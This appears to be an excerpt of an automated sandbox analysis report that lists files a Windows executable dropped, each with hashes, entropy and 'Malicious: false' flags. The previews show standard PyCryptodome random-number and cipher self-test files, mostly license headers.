Preview:	o.........Sg.........................@...sv...g.d...Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.e...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.S.).)...StrongRandom..getrandbits..randrange..randint..choice..shuffle..sample.....)...Random)...is_native_intc....................@...sF...e.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....Nc....................C...sX...\|.d.u.r.\|.d.u.r.d.\|._.d.S.\|.d.u.r.\|.d.u.r.\|.\|._.d.S.\|.d.u.r(\|.d.u.r(\|.j.\|._.d.S.t.d.....).Nz(Cannot specify both 'rng' and 'randfunc')..._randfunc..read..ValueError)...self..rng..randfunc..r.....7C:\recover\pw\lib\site-packages\Crypto\Random\random.py..__init__ ...s..................z.StrongRandom.__init__c....................C...s:...\|.j.d.u.r.t.....j.\|._.d.\|.>.d...}.\|.t.\|...t.\|.d.......@.S.).z%Return an integer with k random bits.N..........).r....r......newr......bytes_to_long..ceil_div).r......k..maskr....r....r....r....*...s............z.StrongRandom.getrandbitsc................

C:\recover\pw\Lib\site-packages\Crypto\Random\random.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5372
Entropy (8bit):	4.828979692628258
Encrypted:	false
SSDEEP:	96:o5wfFQHvoeTcHIpVaRhNkNNrvvGDwotbxcOV+gnNflG7b0/Yt5:o5wdQHv5rjIvsotlcU+g60/S
MD5:	3BD14C0DD7FE75741EE0742BDA794418
SHA1:	31B75C61FEA51D7E69247B3D47FC37DE5247C817
SHA-256:	01ADBD3F51A22F71EDD8B3FB3F45BB849C9D9A46E00A7CFD25C28EA780512E3C
SHA-512:	4FE054877C0749994FDE32CEA437C659FD2B406E3E057A2D9C27ADCFF6E556D8FEC48615B01AAD7B6502B40E5CF7C2CA342B626DB8D07F191E2D63FBD9E15E28
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Random/random.py : Strong alternative for the standard 'random' module..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# C

C:\recover\pw\Lib\site-packages\Crypto\Random\random.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.891350639959851
Encrypted:	false
SSDEEP:	24:1REqJBQCf+sAJOIE5P0fid1o4zOZKXiojo/f:lQW+sd5CidO4ifao/f
MD5:	0B01F3499238530A9A99E48F305DB9AC
SHA1:	7AE9ADEAF96CF6B47C721A124AA568AB1A0B605C
SHA-256:	043AEDA2F263A42A0086FCBB0CA801FF1D9BF396FFCC966452FF25DD5030A013
SHA-512:	4CDCFA0E53EBE9F65207817A79419F6C60E6F0BB51EF4ECDB89736244058A690410F767EC8AAAC2C2B10BDB38361E0F60FCD3DF3580639935A423A0E6E068517
Malicious:	false
Preview:	from typing import Callable, Tuple, Union, Sequence, Any, Optional, TypeVar....__all__ = ['StrongRandom', 'getrandbits', 'randrange', 'randint', 'choice', 'shuffle', 'sample']....T = TypeVar('T')....class StrongRandom(object):.. def __init__(self, rng: Optional[Any]=None, randfunc: Optional[Callable]=None) -> None: ... # TODO What is rng?.. def getrandbits(self, k: int) -> int: ..... def randrange(self, start: int, stop: int = ..., step: int = ...) -> int: ..... def randint(self, a: int, b: int) -> int: ..... def choice(self, seq: Sequence[T]) -> T: ..... def shuffle(self, x: Sequence) -> None: ..... def sample(self, population: Sequence, k: int) -> list: ......._r = StrongRandom()..getrandbits = _r.getrandbits..randrange = _r.randrange..randint = _r.randint..choice = _r.choice..shuffle = _r.shuffle..sample = _r.sample..

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3680
Entropy (8bit):	5.085786985818767
Encrypted:	false
SSDEEP:	48:NCwEIB0jcQHMsvI/S3oCF2D0BVjtxxtDP5H8k/38KlKKFpBnFRNxtZFRtf/hzdrB:UwfFQHvo58zGk/sEjd/1drB
MD5:	CF0E3F50FEEC49E1E243B3576BC34E7A
SHA1:	D9AD4301C9F023D2067384BB241859B032B6C92B
SHA-256:	EC3B0CB878618BF4A7ADCF497146F4CA3F203B448EA510ABE8B72C9A55568347
SHA-512:	A4C3C13B23ECD0B8E20726C92741BE318CDD5DC39BD4125246EF06227F1DD2534B378F88B305AB6AC51A7ECABA88A4E80B9956BC9B234666F316516E5EE513F7
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/Cipher/__init__.py: Self-test for cipher modules..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WIT

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\common.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	17826
Entropy (8bit):	4.6460648083415315
Encrypted:	false
SSDEEP:	192:ywdQHvJyFTEaHPRZn46TEiQTEgt4QY2zE/xHN8XZBU:yUeJgpTQY2zE/t6XZC
MD5:	8D17B3809421F8A3272394DE1E9F13E0
SHA1:	3B0A85C4645452F4D5397720A19139A0A0520A19
SHA-256:	4BE599673037E90D439F42B30E06F975F906E92135820B3B14808FEE7BF44339
SHA-512:	F08B0F988B52906991668DC6B5236B4D47F9074BEBB2BE164D37D01E964CB8F14A2CE7BAC3D035651347A53AC6D9497E733B422D04E79924316A31158129418A
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/Hash/common.py: Common code for Crypto.SelfTest.Hash..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_AES.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	73082
Entropy (8bit):	4.7352476642791395
Encrypted:	false
SSDEEP:	1536:YH+534+If+1xcBWF2bwMnjrpCPLJCDXGsFKhKO5YQwa:YWykMMJwXZqWQ5
MD5:	D5746D4A7B92D02CD239C5141A758A90
SHA1:	F4898202BCB85AA3A95BF963C258DA625C140868
SHA-256:	C63E2F372BCC41EC2C4667A8C8036378D920F96E66EA6E74F1061AE18FC2C181
SHA-512:	C07BEE7D084F6934DB1814C8B69124ECF4FE72933FF5960A880C719E58628244D9554103110ECE7F56DBEA410A0FB751EFC848A5DB36CB8537E9B2ED54976B8A
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/Cipher/AES.py: Self-test for the AES cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_ARC2.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6621
Entropy (8bit):	5.305716519169683
Encrypted:	false
SSDEEP:	96:YwfFQHvoYHgW7KtQBTUtRUfOuCPjW+GIOEN7RataZu/VCunMirB:YwdQHvRQgVQUM4rB
MD5:	B87A188050AF2A09D7F1D295134E9194
SHA1:	7F6A2BE8054831EF69A90CC7C94D3807DC93C3B0
SHA-256:	82C1FE3F3E2A2056EEFE5C7A2FF0DB52A8BA12012411BA8692636044B5D47D14
SHA-512:	B215E0107A44D86ABFA9103F06FED3CC6E44F6090AF0E47A62094EDF21F17090112A168397D201E967787D2EDCBB4F07236D980746DC208DB33AB06000E5DC0F
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/Cipher/ARC2.py: Self-test for the Alleged-RC2 cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_ARC4.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	25450
Entropy (8bit):	4.102295070491694
Encrypted:	false
SSDEEP:	384:YUe0La2IgMfLrDDtIoOJrL+cWuuO221c4Q9FTSScnHNqh0ndYnB0pL++:YH0La2AfOoOt+zdO5PSFNANqiaq
MD5:	A628F3159DB22911E3886971DF0D9116
SHA1:	01D491D6C9867B3B8C2D4966B108864EB0FC6EF0
SHA-256:	4B5535377C5F07E7A2BEB41443BEAE9E340C3F0E0C2CCE7770BBA489CFF57E20
SHA-512:	5B2F8A7E1ACC453656251E0FADB2762AD65FEB141EA9A162C345F25F0AB873E5B7B742E149BA086F7B8449B169C91D7EA3BDCE49434B65BCFE881A068A8C66C3
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/Cipher/ARC4.py: Self-test for the Alleged-RC4 cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_Blowfish.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7390
Entropy (8bit):	5.2680859039459165
Encrypted:	false
SSDEEP:	192:/wdQHvMFFlIpgA3KM0vOGTga/djVApGRXN/MOh:/UeMFFl6gMKM0Z
MD5:	8B80D84AFCCD46C28B9EAF5C6AD7442F
SHA1:	ADE78A3D2095C7FDE77D6CEB5F4DFB3BA39AD9AE
SHA-256:	91F26B656B58BA5C73C57DA0AE5B48F5A911D82DB12738B59AE5C8B82F96270C
SHA-512:	88261BDD58287685C66982D85673A9E8264B88B4863E74A7601B462D35EBB6229D6282F996045209F0FC57FCF2BDB77403BA30117D994E16F61681224EA6D311
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/Cipher/test_Blowfish.py: Self-test for the Blowfish cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONN

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_CAST.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3380
Entropy (8bit):	5.2648285141796896
Encrypted:	false
SSDEEP:	48:NbwEIB0jcQHMsvI/S3oCFlE+Qs+tx8NIZNgtNpMaZC3eZ+kCun8Dsrajy:JwfFQHvoBHscOYit7ku1CunMsrp
MD5:	42CD9C86B6A76226293A43A9310F0310
SHA1:	FD751A06B182925F0F45813E3BCDE1F26D0D2078
SHA-256:	98A16555489559E0B93F6338A7CA46516232DF195093859CFAF3EFB05B9AB7FA
SHA-512:	0D029235022EBEEE6131986449A84ABD1F64A31B04A51C73F6A1AE42CC0F60B7F4189BFEB7BE843339A8C3082BD578A8B110C7DCDB78C34B74E2512F5E0CE36D
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# SelfTest/Cipher/CAST.py: Self-test for the CAST-128 (CAST5) cipher..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNE

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_CBC.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20758
Entropy (8bit):	4.976686485008944
Encrypted:	false
SSDEEP:	384:0rskrs9VqFUiiIzqO9/WgGD4GxZxYe4EO+cCFtKCA9uCnjuGDXx+:0r6qh9Q4EdcCFtKCAcCaGDB+
MD5:	120D405F44D54B6CFAFFAFB1AEAC7A16
SHA1:	56AB7734215AD736C4D1026CE236069AEC97FAD7
SHA-256:	C2D96EA70E4CA1A31C148E7E1A3A44F696596DF00992D51A4868D96465B2E332
SHA-512:	421C0CA1FEC6CDED7CE2E1D7BA7C71A0192DDCB274E6C683F0E6236C2F6ACB2B85A01D687C919A8C95C053EDE5FB308F113D3D7BB45063D1EBF6B78D8032160A
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_CCM.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	38240
Entropy (8bit):	4.91982351735035
Encrypted:	false
SSDEEP:	384:Hrskrs9Vq732a4qBfxjXTqXPqzvGfp589zJ2FmOsI2vJfd+OjYyp9ynb1cd7l+6J:Hr6qN4ANgLmxWJ/F01aDXqx
MD5:	A685CF6BD22AB69D370F92B81D9C0E59
SHA1:	7EA6F54B4469B4B033D82BB5BFFC5659D967AA15
SHA-256:	A8351FB17A8A7B405D4FF76C2B596848FF5239A3E4D5E7F699240A4C96D71462
SHA-512:	2DA781592EA409DDBB7C15F14E29F09F58B1A304609E0F0061D086ADBB8AEB683E87E9200F7DB6B036B2ED86175FC61DED04FD2BB060541D65EE1A1752F573E6
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_CFB.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	16472
Entropy (8bit):	4.9687403467675555
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IFOD7nMCWaL0CH1k9SC/D6PV3TRrFVBvGGHSrAOp:0rskrs9VqzvMCFL0CVk9SC/DKFVG
MD5:	01F0F6D83AB2952197EAEB8F0F83A00D
SHA1:	43D59454591AEB6F9DA2B8DC92E2B9BF5C4B8544
SHA-256:	9EA26EEBF360B5271B9A4FFB3A961CB19114903906D37FB1DEF604E25BF433EB
SHA-512:	0F4807944F16CD43FD0DD1EA59AD9A0B4467A0843C6FB844E50D8314C5DF5BBDF4448646479397686660062A82B632097CB2B7DFC429B3B302D140B537F04A2F
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_CTR.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	21786
Entropy (8bit):	5.096707176497335
Encrypted:	false
SSDEEP:	192:4qrskrs9t3q/I5KdTQUBgQXKIQ4NBtkP5QoIAfi+1+PVcC7+bKGw5EBaBg/y/xNe:Hrskrs9VqKZYPV0Nakoe8QjNV1cYtsu
MD5:	AE67CABCE5676ADF76D54C20328CA40E
SHA1:	6009537CE1C06784B2304C11D37BA964F54BB258
SHA-256:	4A24DAB89ED26A137BB8ED94B121623FDFE98B1E1582A1B259D8F8A4C9FEBFFE
SHA-512:	FE9C0CA688E90F6A6A88C10E72B07D7486D86B2F2D80DFF3D74098D6EEE7460810BD3E4737C1B7D68E9FBA621989D3ECE742E792C2EC8D8FD17831E7CA918CA9
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_ChaCha20.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20845
Entropy (8bit):	4.919874389291741
Encrypted:	false
SSDEEP:	384:0rskrs9Vqse4VTbVH31w6YKxYWQChRrYChgz9u:0r6qseObVH31hYyZgxu
MD5:	6C26707E9C0059E6B221CB64D91AC717
SHA1:	8DD876F7CF6D438EF7E6F9B1117CA0F8644E7B73
SHA-256:	15EC0CCBE86A0910D0416230FAC536FC59AE0A86ED59D866E6C584AE1306E23E
SHA-512:	8C261E8630939AE97648D93562D97FDF19B098DA22C599B96918882D38809AFF208658E7D39104C353DF521E2CA2DC9126674EF1B1901C35E19F4EE50A197915
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_ChaCha20_Poly1305.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	31490
Entropy (8bit):	4.760962660094756
Encrypted:	false
SSDEEP:	384:zrskrs9Vq54KdH+zQlFTMzJjecMLn6rrMPCrFC2Ogx9m2gJ444BP6xDIG76pYWsh:zr6qPHL6PMlPHYahKS2yGeVqZo
MD5:	75D6666A336FBAA99E486B14AEF6D176
SHA1:	3B11356C0D13F488C2D5F7A274D90CB27E7D3DD7
SHA-256:	15F3B00A1BC049C62C9E26EF3A06D91FDD800028BD4CBE2A82FA521EFCAB336E
SHA-512:	6606475A2DA9826A83BCED8A37F2F5F31C2B31FB13A2736565D9702B33DC660E49FFAB844E7914A3E0BD1AE790BC4D3336471CB658C6708723C713FA10DF944A
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2018, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE

C:\recover\pw\Lib\site-packages\Crypto\SelfTest\Cipher\test_DES.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	16317
Entropy (8bit):	4.972164250562502
Encrypted:	false
SSDEEP:	192:HwdQHvGJ6ea9UaWpN8CioAMv6WvkIy36Yc4OB:HUeGJ6DBW/9AMvdIbI
MD5:	99CE82AB3012C74BC91F8E8B95427E25
SHA1:	1B092CD7DECEF875899FE7B53B62C5533652335D
SHA-256:	2FF59AB811C58999DA679B0D9F25D666EBAE2FF1F1745A1044FC3DBD0E303A4F
SHA-512:	B69CA5C84B5DD23175EB96A498298A16A576E0806FDCDBBC05EB85217C8472453D674D06411F16625E32BBB84AB391353AF8EFED6D45C3A5E9ADE02970ADBC3D
Malicious:	false
